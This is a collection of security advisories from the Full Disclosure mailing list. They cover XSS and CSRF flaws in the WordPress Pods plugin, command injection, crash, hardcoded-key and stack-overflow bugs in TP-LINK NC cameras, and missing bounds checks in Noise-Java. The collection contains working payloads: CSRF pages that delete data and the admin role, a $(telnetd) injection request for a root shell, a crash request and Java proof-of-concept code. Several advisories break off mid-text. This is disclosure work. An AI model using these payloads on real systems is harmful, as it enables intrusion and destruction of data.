[FD] Wordpress plugin Pods = 2.4.3 XSS and CSRF vulnerabilities
Vulnerability title: Wordpress plugin Pods = 2.4.3 XSS and CSRF vulnerabilities
vulnerabilities
Author: Pietro Oliva
CVE: CVE-2014-7956, CVE-2014-7957
Product: pods
Affected version: pods = 2.4.3
Vulnerabilities fixed in version: 2.5
XSS vulnerability (CVE-2014-7956, authentication is needed):
http://localhost/wp-admin/admin.php?page=podsaction=editid=4;/ascriptalert('xss')/script!--
Multiple CSRF (CVE-2014-7957,authentication needed):
CSRF 1 (bruteforce pods IDs and delete them):
html
body
script
target=http://localhost;;
for (i=0; i50;i++)
document.write('img style=display:none
src='+target+'/wp-admin/admin.php?page=podsaction=deleteid='+i+'');
/script
/body
/html
CSRF 2 (delete pods plugin data):
html
body onload=document.forms[0].submit();
form method=post
action=http://localhost/wordpress/wp-admin/admin.php?page=pods-settingstab=reset;
input type=hidden name=pods_reset value=Reset Pods settings and data
/form
/html
CSRF 3 (deactivate pods and delete data):
html
body onload=document.forms[0].submit();
form method=post
action=http://localhost/wordpress/wp-admin/admin.php?page=pods-settingstab=resetpods_reset_deactivate=
Deactivate and Delete Pods data
input type=hidden name=pods_reset_deactivate value= Deactivate
and Delete Pods data
/form
/html
CSRF 4 (enable roles and capabilities component and delete admin role):
html
script
function continueExecution(){
document.write('link rel=stylesheet
href=http://localhost/wordpress/wp-admin/admin.php?page=pods-component-roles-and-capabilitiesaction=deleteid=administrator;');
}
document.write('link rel=stylesheet
href=http://localhost/wordpress/wp-admin/admin.php?page=pods-componentsaction=toggleid=roles-and-capabilitiestoggle=1toggled=1;');
setTimeout(continueExecution, 1);
/script
/html
CSRF 4 XSS impact:
http://localhost/wp-admin/admin.php?page=pods-componentsaction=toggleid=roles-and-capabilitiestoggle=1toggled=1;
onmouseenter=alert('xss')
style=width:3000px;height:1000px;left:0px;top:0px;position:absolute;opacity:0;/a!--
___
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives RSS: http://seclists.org/fulldisclosure/
[FD] TP-LINK Cloud Cameras NCXXX Remote NULL Pointer Dereference
Vulnerability title: TP-LINK Cloud Cameras NCXXX Remote NULL Pointer Dereference Author: Pietro Oliva CVE: CVE-2020-10231 Vendor: TP-LINK Product: NC200, NC210, NC220, NC230, NC250, NC260, NC450 Affected version: NC200 <= 2.1.8 build 171109, NC210 <= 1.0.9 build 171214, NC220 <= 1.3.0 build 180105, NC230 <= 1.3.0 build 171205, NC250 <= 1.3.0 build 171205, NC260 <= 1.5.1 build 190805, NC450 <= 1.5.0 build 181022 Description: The issue is located in the httpLoginRpm method of the ipcamera binary (handler method for /login.fcgi), where after successful login, there is no check for NULL in the return value of httpGetEnv(environment, "HTTP_USER_AGENT"). Shortly after that, there is a call to strstr(user_agent_string, "Firefox") and if a User-Agent header is not specified by the client, httpGetEnv will return NULL, and a NULL pointer dereference occurs when calling strstr, with consequent crash of the ipcamera process. Impact: After the crash, the web interface on port 80 will not be available anymore. Exploitation: An attacker could exploit this issue by just sending a login request with valid credentials (such as admin or limited user), but without an user-agent HTTP header. Default credentials can be used to bypass the credentials requirement. Evidence: The disassembly of affected code from an NC200 camera is shown below: 0x0047dca0 lw a0, (user_arg) 0x0047dca4 lw a1, (password_arg) 0x0047dca8 lw t9, -sym.swUMMatchPassword(gp) 0x0047dcac nop 0x0047dcb0 jalr t9 0x0047dcb4 nop 0x0047dcb8 lw gp, (saved_gp) 0x0047dcbc sw v0, (auth_result) 0x0047dcc0 lw v0, (auth_result) 0x0047dcc4 nop 0x0047dcc8 bnez v0, 0x47de34 0x0047dccc nop 0x0047dcd0 sw zero, (arg_54h) 0x0047dcd4 lw a0, (environment) 0x0047dcd8 lw a1, -0x7fe4(gp) 0x0047dcdc nop 0x0047dce0 addiu a1, a1, -0x7cb0 ; "HTTP_USER_AGENT" 0x0047dce4 lw t9, -sym.httpGetEnv(gp) 0x0047dce8 nop 0x0047dcec jalr t9 0x0047dcf0 nop 0x0047dcf4 lw gp, (saved_gp) 0x0047dcf8 sw v0, (user_agent_ptr) 0x0047dcfc lw a0, (user_agent_ptr) ; <== This pointer could be NULL 0x0047dd00 lw a1, -0x7fe4(gp) 0x0047dd04 nop 0x0047dd08 addiu a1, a1, -0x7ca0 ; "Firefox" 0x0047dd0c lw t9, -sym.imp.strstr(gp) 0x0047dd10 nop 0x0047dd14 jalr t9 Disclosure timeline: 2nd December 2019 - Initial vulnerability report for NC200. 4th December 2019 - Vendor confirms vulnerablity but does not start fixing due to the product being end-of-life. 4th December 2019 - Notified vendor the vulnerability details will be public and it should be fixed. 6th December 2019 - Thanks for your opinion, we will discuss and write back to you. 7th February 2020 - Notified vendor issue exists on NC450 and possibly all models in between. Fixed a disclosure deadline in 30 days. 8th February 2020 - Vendor: We will check but please be patient. 18th February 2020 - We failed to reproduce the issue with the provided PoC. 24th February 2020 - Reverse engineered all the firmware images on behalf of the vendor and notified they were all vulnerable. 2nd March 2020 - Vendor asks to check fixes for NC200. 2nd March 2020 - Confirmed fix. Asked the vendor to do the same on all cameras. 3rd March 2020 - Vendor will check on other cameras, but will take some time. 3rd March 2020 - Asked the vendor to be quick. 9th March 2020 - Notified CVE identifier to vendor, gave extra week to patch. 9th March 2020 - Vendor is testing fix on all models. 13th March 2020 - Vendor asks to confirm fixes. 13th March 2020 - Confirmed fixes and asked the vendor to publish updates. Disclosure delayed one week to give some time to patch if the vendor published firmware updates. 29th March 2020 - No updates have been made public by the vendor. Releasing details to the public after almost 4 months from initial notification. ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] TP-LINK Cloud Cameras NCXXX Bonjour Command Injection
Vulnerability title: TP-LINK Cloud Cameras NCXXX Bonjour Command Injection
Author: Pietro Oliva
CVE: CVE-2020-12109
Vendor: TP-LINK
Product: NC200, NC210, NC220, NC230, NC250, NC260, NC450
Affected version: NC200 <= 2.1.9 build 200225, NC210 <= 1.0.9 build 200304,
NC220 <= 1.3.0 build 200304, NC230 <= 1.3.0 build 200304,
NC250 <= 1.3.0 build 200304, NC260 <= 1.5.2 build 200304,
NC450 <= 1.5.3 build 200304.
Fixed version:NC200 <= 2.1.10 build 200401, NC210 <= 1.0.10 build 200401,
NC220 <= 1.3.1 build 200401, NC230 <= 1.3.1 build 200401,
NC250 <= 1.3.1 build 200401, NC260 <= 1.5.3 build_200401,
NC450 <= 1.5.4 build 200401
Description:
The issue is located in the swSystemSetProductAliasCheck method of the
ipcamera binary (Called when setting a new alias for the device via
/setsysname.fcgi), where despite a check on the name length, no other checks
are in place in order to prevent shell metacharacters from being introduced.
The system name would then be used in swBonjourStartHTTP as part of a shell
command where arbitrary commands could be injected and executed as root.
Impact:
Attackers could exploit this vulnerability to remotely execute commands as root
on affected devices.
Exploitation:
An attacker would first need to authenticate to the web interface and make a
request such as the following (the request contents might change slightly
between cameras):
POST /setsysname.fcgi HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/x-www-form-urlencoded
Cookie: sess=x
Content-Length:
sysname=$(telnetd)=x"
In a device where telnetd has not been removed from the release firmware (such
as NC200), this would spawn the telnetd deamon. Default root/root credentials
could then be used to obtain a root shell via telnet.
Evidence:
The disassembly of affected code from an NC200 camera is shown below:
sym.swSystemSetProductAliasCheck:
0x0049f1cc lui gp, 0xa
0x0049f1d0 addiu gp, gp, -0x3ebc
0x0049f1d4 addu gp, gp, t9
0x0049f1d8 addiu sp, sp, -0x28
0x0049f1dc sw ra, (var_24h)
0x0049f1e0 sw fp, (var_20h)
0x0049f1e4 move fp, sp
0x0049f1e8 sw gp, (var_10h)
0x0049f1ec sw a0, (alias_arg)
0x0049f1f0 lw v0, (alias_arg)
0x0049f1f4 nop
,=< 0x0049f1f8 beqz v0, 0x49f218
| 0x0049f1fc nop
| 0x0049f200 lw v0, (alias_arg)
| 0x0049f204 nop
| 0x0049f208 lb v0, (v0)
| 0x0049f20c nop
,==< 0x0049f210 bnez v0, 0x49f224
|| 0x0049f214 nop
|`-> 0x0049f218 addiu v0, zero, 0x42f
|,=< 0x0049f21c b 0x49f258
|| 0x0049f220 sw v0, (arg_18h)
`--> 0x0049f224 lw a0, (alias_arg)
| 0x0049f228 lw t9, -sym.imp.strlen(gp)
| 0x0049f22c nop
| 0x0049f230 jalr t9
| 0x0049f234 nop
| 0x0049f238 lw gp, (arg_10h)
| 0x0049f23c sltiu v0, v0, 0x81
,==< 0x0049f240 bnez v0, 0x49f254
|| 0x0049f244 nop
|| 0x0049f248 addiu v0, zero, 0x430
,===< 0x0049f24c b 0x49f258
||| 0x0049f250 sw v0, (arg_18h)
|`--> 0x0049f254 sw zero, (arg_18h)
`-`-> 0x0049f258 lw v0, (arg_18h)
0x0049f25c move sp, fp
0x0049f260 lw ra, (var_24h)
0x0049f264 lw fp, (var_20h)
0x0049f268 jr ra
0x0049f26c addiu sp, sp, 0x28
swBonjourStartHTTP:
0x0043a008addiu v0, fp, 0x20
0x0043a00cmove a0, v0
0x0043a010addiu a1, zero, 0x88
0x0043a014lw t9, -sym.swBonjourGetName(gp) ; <= get the system name in fp+20
0x0043a018nop
0x0043a01cjalr t9
0x0043a020nop
0x0043a024lw gp, (arg_10h)
0x0043a028addiu v0, fp, 0x20 ; <= put ptr to name in v0
0x0043a02clw a0, -0x7fdc(gp)
0x0043a030nop
0x0043a034addiu a0, a0, 0xd10
; a0 => "mDNSResponderPosix -n \"%s\" -t _http._tcp -p %d -x path=/login.html &"
0x0043a038move a1, v0 ; <= a1 points to system name
0x0043a03clw a2, (arg_b0h)
0x0043a040lw t9, -sym.cmCommand(gp); Execute the command
0x0043a044nop
0x0043a048jalr t9
0x0043a04cnop
Mitigating factors:
-NC210 Cameras have a filter for "bad chars". This means the payload cannot
contain any of the following characters: dot(.), at(@), dash(-), underscore(_),
whitespace( ), and single quote(').
-Some cameras do not ship with telnetd, so other methods such as using wget or
curl to download a payload from the network might be required to obtain a shell.
Remediation:
Install firmware updates provided by the vendor to fix the vulnerability.
The latest updates can be found at the following URLs:
https://www.tp-link.com/en/support/download/nc200/#Firmware
https://www.tp-link.com/en/support/download/nc210/#Firmware
https://www.tp-link.com/en/support/download/nc220
[FD] TP-LINK Cloud Cameras NCXXX SetEncryptKey Command Injection
Vulnerability title: TP-LINK Cloud Cameras NCXXX SetEncryptKey Command Injection Author: Pietro Oliva CVE: CVE-2020-12111 Vendor: TP-LINK Product: NC260, NC450 Affected version: NC260 <= 1.5.2 build 200304, NC450 <= 1.5.3 build 200304 Fixed version:NC260 <= 1.5.3 build_200401, NC450 <= 1.5.4 build 200401 Description: The issue is located in the httpSetEncryptKeyRpm method (handler for /setEncryptKey.fcgi) of the ipcamera binary, where the user-controlled EncryptKey parameter is used directly as part of a command line to be executed as root without any input sanitization. Impact: Attackers could exploit this vulnerability to remotely execute commands as root on affected devices. Exploitation: An attacker would first need to authenticate to the web interface and make a POST request to /setEncryptKey.fcgi. Commands to be executed with root privileges can be injected in the EncryptKey parameter. Evidence: The disassembly of affected code from an NC450 camera is shown below: httpSetEncryptKeyRpm: 0x00491728 lw a0, -0x7fd4(gp) 0x0049172c nop 0x00491730 addiu a0, a0, 0x3344; "echo %s > %s/%08X" 0x00491734 lw a1, (EncryptKey_param) ; Attacker controlled string 0x00491738 lw a2, -0x7fd4(gp) 0x0049173c nop 0x00491740 addiu a2, a2, 0x3330; 0x583330 ; "/tmp/.encryptkey/" 0x00491744 lw a3, -0x7fe8(gp) 0x00491748 nop 0x0049174c addiu a3, a3, -0xf10 0x00491750 lw a3, (a3) 0x00491754 lw t9, -sym.cmCommand(gp) 0x00491758 nop 0x0049175c jalr t9 Remediation: Install firmware updates provided by the vendor to fix the vulnerability. The latest updates can be found at the following URLs: https://www.tp-link.com/en/support/download/nc200/#Firmware https://www.tp-link.com/en/support/download/nc210/#Firmware https://www.tp-link.com/en/support/download/nc220/#Firmware https://www.tp-link.com/en/support/download/nc230/#Firmware https://www.tp-link.com/en/support/download/nc250/#Firmware https://www.tp-link.com/en/support/download/nc260/#Firmware https://www.tp-link.com/en/support/download/nc450/#Firmware Disclosure timeline: 29th March 2020 - Vulnerability reported to vendor. 27th April 2020 - Patched firmware provided by vendor for verification. 27th April 2020 - Confirmed the vulnerability was fixed. 29th April 2020 - Firmware updates released to the public. 29th April 2020 - Vulnerability details are made public. ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] TP-LINK Cloud Cameras NCXXX Hardcoded Encryption Key
Vulnerability title: TP-LINK Cloud Cameras NCXXX Hardcoded Encryption Key Author: Pietro Oliva CVE: CVE-2020-12110 Vendor: TP-LINK Product: NC200, NC210, NC220, NC230, NC250, NC260, NC450 Affected version: NC200 <= 2.1.9 build 200225, NC210 <= 1.0.9 build 200304, NC220 <= 1.3.0 build 200304, NC230 <= 1.3.0 build 200304, NC250 <= 1.3.0 build 200304, NC260 <= 1.5.2 build 200304, NC450 <= 1.5.3 build 200304. Fixed version:NC200 <= 2.1.10 build 200401, NC210 <= 1.0.10 build 200401, NC220 <= 1.3.1 build 200401, NC230 <= 1.3.1 build 200401, NC250 <= 1.3.1 build 200401, NC260 <= 1.5.3 build_200401, NC450 <= 1.5.4 build 200401 Description: The issue is located in the methods swSystemBackup and sym.swSystemRestoreFile, where a hardcoded encryption key is used in order to encrypt/decrypt a config backup file. The algorithm in use is DES ECB with modified s-boxes and permutation tables. Impact: Attackers could exploit this vulnerability to decrypt backup files and get access to sensitive data, such as the following: -Alarm FTP server user and password -Wlan passphrase -PPPOE user and password -Alarm SMTP server user and password -DDNS user and password In addition to that, attackers could forge an encrypted backup file that can be restored via the web interface. This allowed arbitrary files to be written or overwritten with arbitrary attacker-controlled contents. Needless to say, this could result in permanent damage or code execution as root. Exploitation: An attacker would have to figure out the modified DES algorithm in order to be able to encrypt/decrypt config backup files. This is not hard to do with some google search. Once that has been done, attackers can either decrypt backup files or create their own with custom contents, effectlively writing arbitrary files on the device. Evidence: The disassembly of affected code from an NC200 camera is shown below: swSystemRestoreFile: 0x004a0f88 lui gp, 0xa 0x004a0f8c addiu gp, gp, -0x5c78 0x004a0f90 addu gp, gp, t9 0x004a0f94 addiu sp, sp, -0x4f8 0x004a0f98 sw ra, (var_4f4h) 0x004a0f9c sw fp, (var_4f0h) 0x004a0fa0 move fp, sp 0x004a0fa4 sw gp, (var_18h) 0x004a0fa8 sw a0, (encrypted_filename_ptr) 0x004a0fac lw v0, -0x7fe4(gp) 0x004a0fb0 nop 0x004a0fb4 addiu v0, v0, -0x4c40 ; "/tmp/plainBackup" 0x004a0fb8 nop 0x004a0fbc sw v0, (decrypted_filename_ptr) 0x004a0fc0 lw a0, (encrypted_filename_ptr) 0x004a0fc4 lw a1, -0x7fe4(gp) 0x004a0fc8 nop 0x004a0fcc addiu a1, a1, -0x4c2c ; "tp-link" 0x004a0fd0 lw a2, (decrypted_filename_ptr) 0x004a0fd4 lw t9, -sym.DES_Decrypt(gp) 0x004a0fd8 nop 0x004a0fdc jalr t9 swSystemBackup: 0x004a1c54 lw a0, -0x7fe4(gp) 0x004a1c58 nop 0x004a1c5c addiu a0, a0, -0x4bbc ; "/usr/local/config/ipcamera/pBackup" 0x004a1c60 lw a1, -0x7fe4(gp) 0x004a1c64 nop 0x004a1c68 addiu a1, a1, -0x4c2c ; "tp-link" 0x004a1c6c lw a2, -0x7fe4(gp) 0x004a1c70 nop 0x004a1c74 addiu a2, a2, -0x4b84 ; "/usr/local/config/ipcamera/eBackup" 0x004a1c78 lw t9, -sym.DES_Encrypt(gp) 0x004a1c7c nop 0x004a1c80 jalr t9 Mitigating factors: -Almost every camera model has a different hardcoded key. However, this is not hard to find and all cameras of the same model share the same encryption key which cannot be changed. Remediation: Install firmware updates provided by the vendor to fix the vulnerability. The latest updates can be found at the following URLs: https://www.tp-link.com/en/support/download/nc200/#Firmware https://www.tp-link.com/en/support/download/nc210/#Firmware https://www.tp-link.com/en/support/download/nc220/#Firmware https://www.tp-link.com/en/support/download/nc230/#Firmware https://www.tp-link.com/en/support/download/nc250/#Firmware https://www.tp-link.com/en/support/download/nc260/#Firmware https://www.tp-link.com/en/support/download/nc450/#Firmware Disclosure timeline: 29th March 2020 - Vulnerability reported to vendor. 10th April 2020 - Patched firmware provided by vendor for verification. 10th April 2020 - Confirmed the vulnerability was fixed. 29th April 2020 - Firmware updates released to the public. 29th April 2020 - Vulnerability details are made public. ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] TP-LINK Cloud Cameras NCXXX DelMultiUser Stack Overflow
Vulnerability title: TP-LINK Cloud Cameras NCXXX DelMultiUser Stack Overflow
Author: Pietro Oliva
CVE: CVE-2020-13224
Vendor: TP-LINK
Product: NC200, NC210, NC220, NC230, NC250, NC260, NC450
Affected versions: NC200 <= 2.1.10 build 200401, NC210 <= 1.0.10 build 200401,
NC220 <= 1.3.1 build 200401, NC230 <= 1.3.1 build 200401,
NC250 <= 1.3.1 build 200401, NC260 <= 1.5.3 build_200401,
NC450 <= 1.5.4 build 200401
Fixed versions:NC200 <= 2.1.11 build 200508, NC210 <= 1.0.11 build 200612,
NC220 <= 1.3.2 build 200508, NC230 <= 1.3.2 build 200508,
NC250 <= 1.3.2 build 200508, NC260 <= 1.5.4 build_200508,
NC450 <= 1.5.5 build 200508
Description:
The issue is located in the httpDelMultiUserRpm method of the ipcamera binary
(Called when deleting multiple users via /delmultiuser.fcgi), where a
comma-delimited list of usernames is passed as an input, and a list of error
codes for each user deletion attempt is returned to the user via HTTP. The list
of error codes returned to the user is temporary stored in a fixed-size stack
buffer, while there in no limit on the number of usernames that the user can
specify. Since the error codes are concatenated in a loop without any boundary
checks until a string terminator has been found in the user-supplied string, a
stack-based buffer overflow can occur if the user provided an input string
with enough commas or usernames.
Impact:
Attackers could exploit this vulnerability to remotely crash the ipcamera
process, or remotely execute arbitrary code as root.
Exploitation:
An attacker would first need to authenticate to the web interface and make a
request similar to the following to trigger a crash of the ipcamera process:
POST /delmultiuser.fcgi HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/x-www-form-urlencoded
Cookie: sess=x
Content-Length:
Usernames=,=x"
Evidence:
The disassembly of affected code from an NC200 camera is shown below:
sym.httpDelMultiUserRpm:
; Get pointer to Usernames param from HTTP request
││0x0047ee90 lw a0, (env)
││0x0047ee94 lw a1, -0x7fe4(gp)
││0x0047ee98 nop
││0x0047ee9c addiu a1, a1, -0x73b0 ; "Usernames" string
││0x0047eea0 lw t9, -sym.httpGetEnv(gp)
││0x0047eea4 nop
││0x0047eea8 jalr t9
││0x0047eeac nop
; Save the pointer and return error if it is NULL
││0x0047eeb0 lw gp, (arg_10h)
││0x0047eeb4 sw v0, (arg_usernames)
││0x0047eeb8 lw v0, (arg_usernames)
││0x0047eebc nop
││┌─< 0x0047eec0 bnez v0, 0x47eed4
│││ 0x0047eec4 nop
│││ 0x0047eec8 addiu v0, zero, -1
┌< 0x0047eecc b 0x47f0bc
0x0047eed0 sw v0, (arg_46ch)
; If the pointer is not null, initialize to 0 the error code buffer on the stack
│││└─> 0x0047eed4 addiu v0, fp, 0x40
│││0x0047eed8 move a0, v0
│││0x0047eedc move a1, zero
│││0x0047eee0 addiu a2, zero, 0x400
│││0x0047eee4 lw t9, -sym.imp.memset(gp)
│││0x0047eee8 nop
│││0x0047eeec jalr t9
│││0x0047eef0 nop
│││0x0047eef4 lw gp, (arg_10h)
; Copy the arg_usernames pointer to arg_usernames_copy
│││0x0047eef8 lw v0, (arg_usernames)
│││0x0047eefc nop
│││0x0047ef00 sw v0, (arg_usernames_copy)
; Get a pointer to the first occurrence of the comma character and store it
│││┌─> 0x0047ef04 lw a0, (arg_usernames_copy)
│││╎ 0x0047ef08 addiu a1, zero, 0x2c
│││╎ 0x0047ef0c lw t9, -sym.imp.strchr(gp)
│││╎ 0x0047ef10 nop
│││╎ 0x0047ef14 jalr t9
│││╎ 0x0047ef18 nop
│││╎ 0x0047ef1c lw gp, (arg_10h)
│││╎ 0x0047ef20 sw v0, (ptr_to_next_comma)
; If the pointer is NULL go and delete the last username in the list
│││╎ 0x0047ef24 lw v0, (ptr_to_next_comma)
│││╎ 0x0047ef28 nop
┌─< 0x0047ef2c beqz v0, 0x47efc0
╎ 0x0047ef30 nop
; Replace the comma character with a string terminator and delete the user
╎ 0x0047ef34 lw v0, (ptr_to_next_comma)
╎ 0x0047ef38 nop
╎ 0x0047ef3c sb zero, (v0)
╎ 0x0047ef40 lw a0, (arg_usernames_copy)
╎ 0x0047ef44 lw t9, -sym.swUMDelUser(gp)
╎ 0x0047ef48 nop
╎ 0x0047ef4c jalr t9
╎ 0x0047ef50 nop
; Create a string with the error code from swUMDelUser
╎ 0x0047ef54 lw gp, (arg_10h)
╎ 0x0047ef58 sw v0, (deluser_error_code)
╎ 0x0047ef5c addiu v0, fp, 0x448
╎ 0x0047ef60 move a0, v0
╎ 0x0047ef64 lw a1, -0x7fe4(gp)
╎ 0x0047ef68 nop
╎ 0x0047ef6c addiu a1, a1, -0x73a4 ; '{"errorCode":},'
╎ 0x0047ef70 lw a2, (deluser_error_code)
╎ 0x0047ef74 lw t9, -sym.imp.sprintf(gp)
╎ 0x0047ef78 nop
[FD] Noise-Java AESGCMFallbackCipherState.encryptWithAd() insufficient boundary checks
Vulnerability title: Noise-Java AESGCMFallbackCipherState.encryptWithAd()
insufficient boundary checks
Author: Pietro Oliva
CVE: CVE-2020-25022
Vendor: Rhys Weatherley (Creator of Noise Framework's reference implementation
in Java)
Product: Noise-Java
Affected version: No version information is currently available.
Fixed version:Check latest commit and pull request
Description:
The issue is located in the AESGCMFallbackCipherState.encryptWithAd() method
defined in AESGCMFallbackCipherState.java, where multiple boundary checks are
performed to prevent invalid length or offsets from being specified for the
encrypt or copy operation. However, some checks were found to be either
incomplete or missing, which would likely lead to the following scenarios:
- Out-of-bounds read or write with huge plaintextOffset, negative
cipertextOffset,
or negative length (Depending on the underlying JVM's validation).
- Exception thrown by the JVM instead of Noise-Java throwing
ShortBufferException
Impact:
Further checks might be implemented in the JVM and an exception might be thrown
before attempting any operation with invalid arguments.
If that is not the case, OOB read/write or a silent return on invalid arguments
might occur. This could in turn lead to arbitrary code execution in the context
of the JVM, memory disclosure, denial of service, or data loss.
Proof of concept:
Depending on the JVM, running the following code will result in either OOB read
(see CVE-2020-17360 in Avian JVM) or exception being thrown by the JVM:
package com.southernstorm.noise.protocol;
public class poc {
public static void main(String[] args) {
byte[] plaintext = "This is my plaintext".getBytes();
byte[] ciphertext = new byte[plaintext.length];
CipherState cs = new AESGCMFallbackCipherState();
// Passing a large plaintextOffset should result in a
ShortBufferException
// instead of relying on the JMV's implementation of System.arraycopy.
try {
cs.encryptWithAd(null, plaintext, 0x7fff, ciphertext, 0, 1);
}
catch(Exception e){
System.out.println("An exception has been thrown: " + e);
}
}
}
Evidence:
public int encryptWithAd(byte[] ad, byte[] plaintext, int plaintextOffset,
byte[] ciphertext, int ciphertextOffset, int length)
throws ShortBufferException {
int space;
if (ciphertextOffset > ciphertext.length) // BUG: ciphertextOffset could be
negative,
// bypassing this length check
space = 0;
else
space = ciphertext.length - ciphertextOffset;
// BUG: a negative ciphertextOffset would increase the space instead of
decreasing it
if (!haskey) {
if (length > space) // BUG: this check can be bypassed with negative
ciphertextOffset
throw new ShortBufferException();
if (plaintext != ciphertext || plaintextOffset != ciphertextOffset)
/* Multiple issues here:
1. plaintextOffset is never checked. Depending on the JVM's
implementation,
This could result in OOB read in arraycopy (see CVE-2020-17360
for Avian JVM) or
exception being thrown.
2. ciphertextOffset could be negative, bypassing the checks on the
length.
Depending on the JVM, this could result in OOB read/write or
exception being thrown.
3. If the length is negative, depending on the JVM, arraycopy could
result in OOB
read/write, exception being thrown, or silent return (e.g.
CVE-2020-17360 in Avian) */
System.arraycopy(plaintext, plaintextOffset, ciphertext,
ciphertextOffset, length);
return length;
}
if (space < 16 || length > (space - 16)) // BUG: this can be bypassed
with negative length
throw new ShortBufferException();
setup(ad);
/* Multiple issues here as well:
1. plaintextOffset is never checked. this could result in an
exception being thrown
by the JVM.
2. ciphertextOffset could be negative, bypassing the checks on the
length.
Depending on the JVM, this could result in OOB write in
arraycopy or exception being thrown.
3. length could be negative. Depending on the JVM, this could
result in OOB write in arraycopy
or exception being thrown. */
encryptCTR(plaintext, plaintextOffset, ciphertext, ciphertextOffset,
length);
ghash.update(ciphertext, ciphertextOffset, length);
ghash.pad(ad != null ? ad.length : 0, length);
ghash.finish(ciphertext, ciphertextOffset + length, 16);
for (int index = 0; index < 16; ++index)
ciphertext[ciphertextOffset + length + index] ^= hashKey[index];
return length + 16;
}
As can be seen i
[FD] Noise-Java ChaChaPolyCipherState.encryptWithAd() insufficient boundary checks
Vulnerability title: Noise-Java ChaChaPolyCipherState.encryptWithAd()
insufficient boundary checks
Author: Pietro Oliva
CVE: CVE-2020-25021
Vendor: Rhys Weatherley (Creator of Noise Framework's reference implementation
in Java)
Product: Noise-Java
Affected version: No version information is currently available.
Fixed version:Check latest commit and pull request
Description:
The issue is located in the ChaChaPolyCipherState.encryptWithAd() method
defined in ChaChaPolyCipherState.java, where multiple boundary checks are
performed to prevent invalid length or offsets from being specified for the
encrypt or copy operation. However, some checks were found to be either
incomplete or missing, which would likely lead to the following scenarios:
- Out-of-bounds read or write with huge plaintextOffset, negative
cipertextOffset,
or negative length (Depending on the underlying JVM's validation).
- Exception thrown by the JVM instead of Noise-Java throwing
ShortBufferException
Impact:
Further checks might be implemented in the JVM and an exception might be thrown
before attempting any operation with invalid arguments.
If that is not the case, OOB read/write or a silent return on invalid arguments
might occur. This could in turn lead to arbitrary code execution in the context
of the JVM, memory disclosure, denial of service, or data loss.
Proof of concept:
Depending on the JVM, running the following code will result in either OOB read
(see CVE-2020-17360 in Avian JVM) or exception being thrown by the JVM:
package com.southernstorm.noise.protocol;
public class poc {
public static void main(String[] args) {
byte[] plaintext = "This is my plaintext".getBytes();
byte[] ciphertext = new byte[plaintext.length];
CipherState cs = new ChaChaPolyCipherState();
// Passing a large plaintextOffset should result in a
ShortBufferException
// instead of relying on the JMV's implementation of System.arraycopy.
try {
cs.encryptWithAd(null, plaintext, 0x7fff, ciphertext, 0, 1);
}
catch(Exception e){
System.out.println("An exception has been thrown: " + e);
}
}
}
Evidence:
public int encryptWithAd(byte[] ad, byte[] plaintext, int plaintextOffset,
byte[] ciphertext, int ciphertextOffset, int length) throws
ShortBufferException {
int space;
if (ciphertextOffset > ciphertext.length) // BUG: ciphertextOffset could be
negative,
// bypassing this length check
space = 0;
else
space = ciphertext.length - ciphertextOffset;
// BUG: a negative ciphertextOffset would increase the space instead of
decreasing it
if (!haskey) {
if (length > space) // BUG: this check can be bypassed with negative
ciphertextOffset
throw new ShortBufferException();
if (plaintext != ciphertext || plaintextOffset != ciphertextOffset)
/* Multiple issues here:
1. plaintextOffset is never checked. Depending on the JVM's
implementation,
This could result in OOB read in arraycopy (see CVE-2020-17360
for Avian JVM) or
exception being thrown.
2. ciphertextOffset could be negative, bypassing the checks on the
length.
Depending on the JVM, this could result in OOB read/write or
exception being thrown.
3. If the length is negative, depending on the JVM, arraycopy could
result in OOB
read/write, exception being thrown, or silent return (e.g.
CVE-2020-17360 in Avian) */
System.arraycopy(plaintext, plaintextOffset, ciphertext,
ciphertextOffset, length);
return length;
}
if (space < 16 || length > (space - 16))
throw new ShortBufferException();
setup(ad);
/* Multiple issues here as well:
1. plaintextOffset is never checked. this could result in an exception
being thrown
by the JVM.
2. ciphertextOffset could be negative, bypassing the checks on the
length.
Depending on the JVM, this could result in OOB write in arraycopy or
exception being thrown.
3. length could be negative. Depending on the JVM, this could result in
OOB write in arraycopy
or exception being thrown. */
encrypt(plaintext, plaintextOffset, ciphertext, ciphertextOffset, length);
poly.update(ciphertext, ciphertextOffset, length);
finish(ad, length);
System.arraycopy(polyKey, 0, ciphertext, ciphertextOffset + length, 16);
return length + 16;
}
As can be seen in the above code, multiple boundary checks are either missing
or incomplete, allowing for invalid length or offsets to be passed to the JVM's
implementation of System.arraycopy or other methods that handle encryption.
Depending on the JVM in use and how the missing/incomplete checks are exploited,
this could result in eith
[FD] Noise-Java AESGCMOnCtrCipherState.encryptWithAd() insufficient boundary checks
Vulnerability title: Noise-Java AESGCMOnCtrCipherState.encryptWithAd()
insufficient boundary checks
Author: Pietro Oliva
CVE: CVE-2020-25023
Vendor: Rhys Weatherley (Creator of Noise Framework's reference implementation
in Java)
Product: Noise-Java
Affected version: No version information is currently available.
Fixed version:Check latest commit and pull request
Description:
The issue is located in the AESGCMOnCtrCipherState.encryptWithAd() method
defined in AESGCMOnCtrCipherState.java, where multiple boundary checks are
performed to prevent invalid length or offsets from being specified for the
encrypt or copy operation. However, some checks were found to be either
incomplete or missing, which would likely lead to the following scenarios:
- Out-of-bounds read or write with huge plaintextOffset, negative
cipertextOffset,
or negative length (Depending on the underlying JVM's validation).
- Exception thrown by the JVM instead of Noise-Java throwing
ShortBufferException
Impact:
Further checks might be implemented in the JVM and an exception might be thrown
before attempting any operation with invalid arguments.
If that is not the case, OOB read/write or a silent return on invalid arguments
might occur. This could in turn lead to arbitrary code execution in the context
of the JVM, memory disclosure, denial of service, or data loss.
Proof of concept:
Depending on the JVM, running the following code will result in either OOB read
(see CVE-2020-17360 in Avian JVM) or exception being thrown by the JVM:
